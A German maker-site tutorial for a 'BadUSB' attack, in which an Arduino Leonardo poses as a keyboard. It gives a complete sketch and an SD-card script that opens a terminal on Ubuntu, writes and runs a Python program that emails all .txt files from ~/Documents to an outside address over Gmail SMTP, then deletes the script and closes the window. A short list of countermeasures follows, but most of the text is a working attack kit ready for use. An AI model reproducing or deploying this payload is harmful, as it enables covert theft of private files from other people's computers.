USB-HID-Angriffe verhindern: Arduino Leonardo Tastatur-Exploit Demo
Komponenten und Zubehör
| Arduino Leonardo (wichtig: natives USB-HID) | ×1 |
| Micro-SD-Kartenleser | ×1 |
| Micro-SD-Karte (wenige GB) | ×1 |
| Taster (3-polig mit Widerstand) VCC, GND, Signal | ×1 |
| Jumper Kabel (female-male, female-female) | ×1 |
| USB-A auf Micro-USB Kabel | ×1 |
Projektbeschreibung
Dieses Projekt demonstriert, wie ein Arduino Leonardo als USB-HID-Gerät (Human Interface Device) eine Tastatur emulieren und automatisierte Tastatureingaben ausführen kann – ein klassischer „BadUSB“-Angriffsvektor. Ziel ist Aufklärung und Schutz, nicht Missbrauch.
Lernziele
- Arduino Leonardo als Tastatur/Maus emulieren
- Daten von SD-Karte lesen
- Python-Skript erstellen, das Dateien scannt und per E-Mail versendet
- Schutzmaßnahmen gegen USB-HID-Angriffe verstehen
Schritt 1: Material
Siehe Komponententabelle oben.
Schritt 2: Aufbau
Funktionsprinzip
Der Leonardo verhält sich als HID-Gerät. Per Tastendruck liest er eine Skript-Datei (hack.txt) von der SD-Karte und „tippt“ den Inhalt als Tastatureingaben auf dem Zielrechner (hier Ubuntu Linux). Das Skript öffnet ein Terminal, erstellt ein Python-Programm, das Textdateien aus ~/Documents sammelt und per Gmail versendet, führt es im Hintergrund aus und löscht Spuren.
Verdrahtung
- Micro-USB-Kabel an Leonardo
- Taster: GND, VCC, Signal → Pin 8
- SD-Kartenleser über ICSP-Header (SS an Pin 10), da Leonardo ICSP nicht auf Digitalpins routet
Schritt 3: Code & SD-Karten-Inhalt
Arduino Sketch (keyboard_exploit.ino)
#include "Keyboard.h"
#include "SPI.h"
#include "SD.h"
String filenameOnCard = "hack.txt";
String sleepCmd = "Sleep::";
String cmdStart = "Command::";
int delayBetween = 10;
const int buttonPin = 8;
const int chipSelect = 10;
int prevBtn = HIGH;
void setup() {
pinMode(buttonPin, INPUT);
Serial.begin(9600);
Keyboard.begin();
if (!SD.begin(chipSelect)) { Serial.println("SD Fehler"); return; }
}
void loop() {
int btn = digitalRead(buttonPin);
if (btn != prevBtn && btn == HIGH) { sdFileToKeyboard(); Serial.println("Uploaded!"); delay(500); }
prevBtn = btn;
}
void sdFileToKeyboard() {
File f = SD.open(filenameOnCard);
if (!f) { Serial.println("Datei nicht gefunden"); return; }
String line;
while (f.available()) { line = f.readStringUntil('\n'); sendToKeyboard(line); }
f.close();
}
void sendToKeyboard(String line) {
if (line.indexOf(sleepCmd) != -1) { sleepFor(line); return; }
if (line.indexOf(cmdStart) == -1) { Keyboard.println(line); pressEnter(); return; }
// Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
int pos = cmdStart.length(); line += ",";
while (line != "") {
line = line.substring(pos);
int comma = line.indexOf(",");
String cmd = line.substring(0, comma);
pos = comma + 1;
if (cmd != "") { Keyboard.press(getKeyCode(cmd)); delay(delayBetween); }
}
Keyboard.releaseAll(); delay(delayBetween);
}
void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); }
void sleepFor(String l) { delay(l.substring(sleepCmd.length()).toInt()); }
char getKeyCode(String t) {
if (t=="KEY_LEFT_CTRL") return KEY_LEFT_CTRL;
if (t=="KEY_LEFT_SHIFT") return KEY_LEFT_SHIFT;
if (t=="KEY_LEFT_ALT") return KEY_LEFT_ALT;
if (t=="KEY_UP_ARROW") return KEY_UP_ARROW;
if (t=="KEY_DOWN_ARROW") return KEY_DOWN_ARROW;
if (t=="KEY_LEFT_ARROW") return KEY_LEFT_ARROW;
if (t=="KEY_RIGHT_ARROW") return KEY_RIGHT_ARROW;
if (t=="KEY_RIGHT_GUI") return KEY_RIGHT_GUI;
if (t=="KEY_BACKSPACE") return KEY_BACKSPACE;
if (t=="KEY_TAB") return KEY_TAB;
if (t=="KEY_RETURN") return KEY_RETURN;
if (t=="KEY_ESC") return KEY_ESC;
if (t=="KEY_INSERT") return KEY_INSERT;
if (t=="KEY_DELETE") return KEY_DELETE;
if (t=="KEY_PAGE_UP") return KEY_PAGE_UP;
if (t=="KEY_PAGE_DOWN") return KEY_PAGE_DOWN;
if (t=="KEY_HOME") return KEY_HOME;
if (t=="KEY_END") return KEY_END;
if (t=="KEY_CAPS_LOCK") return KEY_CAPS_LOCK;
for(int i=1;i<=12;i++) if(t=="KEY_F"+String(i)) return (char)(KEY_F1+i-1);
return t.charAt(0);
}
SD-Karten-Datei hack.txt
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t
Sleep::500
vi hack.py
Sleep::300
Command::KEY_INSERT
import smtplib, glob, os
from os.path import expanduser
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.Utils import COMMASPACE, formatdate
from email import Encoders
smtp_user = 'deine_absender@gmail.com'
smtp_pass = 'dein_passwort'
to_address = 'empfaenger@email.com'
scan_documents_location = 'Documents'
subject = body = 'Files from hacked computer'
def sendMail(to, subject, text, files=[]):
msg = MIMEMultipart()
msg['From'] = smtp_user
msg['To'] = COMMASPACE.join(to)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach(MIMEText(text))
for file in files:
part = MIMEBase('application', "octet-stream")
part.set_payload(open(file,"rb").read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(smtp_user, smtp_pass)
server.sendmail(smtp_user, to, msg.as_string())
server.quit()
sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))
Sleep::50
Command::KEY_ESC
Sleep::100
:x
Sleep::500
nohup python hack.py &
Sleep::700
rm -rf hack.py
Sleep::400
Command::KEY_LEFT_ALT,KEY_F4
Wichtig: E-Mail-Zugangsdaten in hack.txt eintragen! SD-Karte mit FAT16/32 formatieren, Datei kopieren, in Leser stecken.
Schritt 4: Funktionsweise im Detail
- Taster drücken → Leonardo liest
hack.txtZeile für Zeile - Normale Textzeilen werden als Tastatureingabe gesendet
Sleep::ms= WartezeitCommand::KEY_...,KEY_...= Tastenkombinationen (gleichzeitiges Drücken)- Ablauf: Terminal öffnen (Strg+Alt+T),
vi hack.py, Python-Skript einfügen, speichern, im Hintergrund starten, Datei löschen, Terminal schließen
Einschränkungen
- Kein Feedback vom Zielsystem → feste Delays nötig
- Berechtigungsprobleme möglich (USB-Zugriff, Installation)
- Tippgeschwindigkeit begrenzt
- Funktioniert nur auf Ziel-OS (hier Ubuntu)
Schritt 5: Gegenmaßnahmen
- USB-Ports deaktivieren (Windows: Gruppenrichtlinie/Registrierung)
- USB-Geräte-Whitelist (nur autorisierte Geräte zulassen)
- Bildschirmsperre bei Abwesenheit (Win+L / Strg+Alt+Entf)
- Nicht als Root/Admin arbeiten – Passwort für Installationen erzwingen
- Automatische Updates aktiv halten
Code-Dateien
keyboard_exploit.ino(Arduino Sketch)hack.txt(SD-Karten-Skript)hack.py(Python-Payload, wird zur Laufzeit erzeugt)
GitHub-Repository: github.com/danionescu0/arduino (Ordner projects/keyboard_exploit)
Schaltplan
Fritzing-Datei: sketch_D4S1ftXkTU.fzz
Herstellungsprozess
- LCD-Animationen & Spiele mit Arduino UNO erstellen
- Intelligentes Voltmeter mit Arduino & Smartphone bauen – Einfaches DIY-Projekt
- Arduino Temperatur- & Feuchtelogger mit DHT11 & Ethernet Shield
- MIDI-Keyboard zum smarten Klavierlehrer umbauen – Arduino, LEDs & MuseScore
- Python 3 zu Arduino UNO: Einfache Steuerung & LED-Demo
- Echtzeit-Zelluläre Automaten auf Arduino mit 128x64 OLED-Display
- Kompaktes FM-Radio mit Arduino Nano und RDA5807M selbst bauen
- Echtzeit-RFID-Anwesenheitssystem mit Arduino & Google Tabellen
- Arduino 64-Tasten-Prototyp-Keyboard-Matrix – Eigenes Keyboard mit Schieberegistern bauen
- Arduino-Rechner mit 16x2 LCD und Tastatur bauen